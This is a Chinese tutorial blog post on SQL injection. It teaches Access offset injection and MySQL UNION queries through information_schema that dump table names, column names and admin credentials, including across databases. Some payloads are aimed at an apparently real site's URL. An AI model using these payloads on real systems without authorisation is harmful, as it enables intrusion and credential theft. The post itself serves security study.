MYSQL偏移注入&部分知识点(一)

定义

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员账号密码)

sql功能

查询

删除

添加

修改

实验展示

源代码

$sql="select * from sy_adminuser where username='$username' and password='$password'";

select * from table where username=' ' or 1=1#and password='dsdsd' //#为注释符

SQL注入攻击流程:

  1. 猜测数据库类型

  2. 根据类型选择思路

Access数据库之偏移注入

ACCESS(数据库名,表名,列名,值)

1.猜测是否有sys_admin表,如果说存在的话页面就会显示正常:select exists(selct * from sys_admin);

2.order by 数字 //猜测网站指定数据库的表的字段数,如果order by 22 不报错,那么字段数为22

3.判断表内存在的字段数,基于order by,爆出显示位:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin //查看爆出的数字,哪个数字爆出,哪个数字就可以执行命令

接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误

直到.........

http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确

偏移注入的基本公式为:

           order by 出的字段数减去*号的字段数然而再用order by的字段数减去2倍刚才得出来的答案

     22-11=9 一级偏移 *=9

       22-9*2=4 二级偏移

一级偏移:http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin

二级偏移:http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

一级偏移语句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)

二级偏移语句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id)

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。

表名和列名都猜不到:自定义社工字典或采用偏移注入!

表名已知,列名未知:偏移注入

MYSQL数据库

统一管理,mysql5.0以上版本自带数据库名 information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

系统自带的数据库名 information_schema

information_schema结构

SCHEMATA:数据库名

TABLES:所有数据库的表名(TABLE_SCHEMA),列名(TABLE_NAME)

COLUMNS:数据库名(table_SCHEMA),数据表名(TABLE_NAME),数据表列名(COLUMN_NAME)

获取相关数据:

  1. 数据库版本 version()

  2. 数据库用户 user()

  3. 当前操作系统 @@version_compile_os

  4. 数据库名字 database()

数据库A=网站A

表名

列名

数据库B=网站B

数据库C=网站C

MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行

MYSQL两种思路:

  1. 非ROOT的注入攻击:常规类的猜解

  2. ROOT用户的注入攻击:文件读写操作,跨库查询注入等

查询表名:information_schema.tables

查询列名:information_schema.columns

查询数据库名:information_schema.schemata schemata_name

group_concat(table_name) 显示全部表名

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取syguestbook数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'

获取表名sy_adminuser的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

获取当前mysql下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名xhcms下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

获取数据库名xhcms下的表manage下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大飞先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值